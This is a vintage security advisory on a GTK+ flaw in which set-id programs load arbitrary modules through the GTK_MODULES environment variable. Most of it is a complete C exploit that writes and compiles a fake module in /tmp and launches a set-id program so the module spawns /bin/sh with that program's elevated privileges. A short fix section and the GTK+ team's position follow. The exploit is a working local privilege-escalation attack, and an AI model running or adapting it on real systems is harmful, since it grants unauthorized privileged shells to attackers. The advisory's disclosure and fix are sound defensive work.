COMMAND

    gtk+

SYSTEMS AFFECTED

    gtk+

PROBLEM

    Chris Sharp found  following.  While  going through a  quick audit
    of gtk he  found that gtk+  can be tricked  into running arbitrary
    code via a bogus  module.  This means  any program using gtk  that
    is set*id can be  exploited via this method.   Here is an  exploit
    Chris wrote for this security hole:

        http://realhalo.org/xgtk.c

    The code:

    /* (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org].  this will give
       you the euid/egid of a set*id program using gtk+.  this exploit works via
       the GTK_MODULES environmental variable, by tricking gtk to execute arbitrary
       functions/commands with a bogus module. (using gtk_module_init())

    */
    #define GCCPATH "/usr/bin/gcc"  // path to gcc.
    #define SRCFILE "/tmp/gtkm.c"   // source to the fake module to load.
    #define MODEXEC "/tmp/gtkm.so"  // fake module to load.
    #define DISPLAY ":0.0"          // default display. (also argv option)
    #define EXECUTE "/bin/sh"       // execute this program.
    #include <stdio.h>
    #include <sys/stat.h>
    int main(int argc,char **argv){
     char cmd[256],syscmd[256],display[256];
     struct stat mod1,mod2,mod3;
     FILE *source;
     fprintf(stderr,"[ (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org]. ]" "\n");
     if(argc>1){strncpy(cmd,argv[1],sizeof(cmd));}
     else{
      fprintf(stderr,"[!] syntax: %s </path/to/program> [display]\n",argv[0]);
      exit(-1);
     }

    if(argc>2){strncpy(display,argv[2],sizeof(display));}
     else{strncpy(display,DISPLAY,sizeof(display));}
     if(stat(cmd,&mod1)){
      fprintf(stderr,"[!] failed, %s doesn't seem to exist. (path needed)\n",cmd);
      exit(-1);
     }
     if(stat(GCCPATH,&mod2)){
      fprintf(stderr,"[!] failed, %s compiler doesn't seem to exist.\n",GCCPATH);
      exit(-1);
     }
     fprintf(stderr,"[ program: %s(->%s), display: %s. ]\n\n",cmd,EXECUTE,display);
     fprintf(stderr,"[*] making module for gtk+ to execute. (%s)\n",SRCFILE);
     unlink(SRCFILE);
     unlink(MODEXEC);
     source=fopen(SRCFILE,"w");
     fprintf(source,"#include <stdio.h>\n");
     fprintf(source,"void gtk_module_init(){\n");
     fprintf(source," unlink(\"%s\");\n",SRCFILE);
     fprintf(source," unlink(\"%s\");\n",MODEXEC);
     fprintf(source," fprintf(stderr,\"[*] success, module loaded successfully.\\n"
     "\");\n");
     fprintf(source," fprintf(stderr,\"[*] id stats: uid: %%d, euid: %%d, gid: %%d" ", egid: %%d.\\n\",getuid(),geteuid(),getgid(),getegid());\n",EXECUTE);
     fprintf(source," fprintf(stderr,\"[*] now executing: %s.\\n\");\n",EXECUTE);
     fprintf(source," execl(\"%s\",\"%s\",0);\n",EXECUTE,EXECUTE);
     fprintf(source,"}\n");
     fclose(source);
     fprintf(stderr,"[*] done, compiling module source file. (%s->%s)\n",SRCFILE, MODEXEC);
     snprintf(syscmd,sizeof(syscmd),"%s -shared -o %s %s 1>/dev/null 2>&1",GCCPATH,
     MODEXEC,SRCFILE);
     system(syscmd);
     fprintf(stderr,"[*] done, checking to see if the module comiled. (%s)\n",
     MODEXEC);
     if(stat(MODEXEC,&mod3)){
      fprintf(stderr,"[!] failed, %s was not compiled properly. (gcc failed)\n",
      MODEXEC);
      exit(-1);
     }
     fprintf(stderr,"[*] done, setting up the environment. (module&display)\n");
     setenv("GTK_MODULES",MODEXEC,1);
     setenv("DISPLAY",display,1);
     fprintf(stderr,"[*] done, executing %s, the module should load now.\n",cmd);
     if(execl(cmd,cmd,0)){
      fprintf(stderr,"[!] failed, %s did not execute properly.\n",cmd);
      unlink(SRCFILE);
      unlink(MODEXEC);
      exit(-1);
     }
    }

SOLUTION

    A simple fix  to this would  be to drop  priveleges before calling
    gtk_init(), another easy fix is  to modify gtk itself, to  do this
    you need  to make  the following  modification of  gtkmain.c.   In
    gtk-1.2.8 its at approximately line 215, you have:

        env_string = getenv ("GTK_MODULES");

    add the following line above it:

        if(geteuid() == getuid())

    This will prevent gtk from loading modules if the program  calling
    gtk_init has a different euid than the uid.

    What follows is  the official GTK+  team position on  this matter.
    (It can be found at http://www.gtk.org/setuid.html as well.)   The
    summary is that they don't  consider it a problem because  writing
    set[ug]id programs with a GUI toolkit is simply a bad idea and not
    supported for GTK+.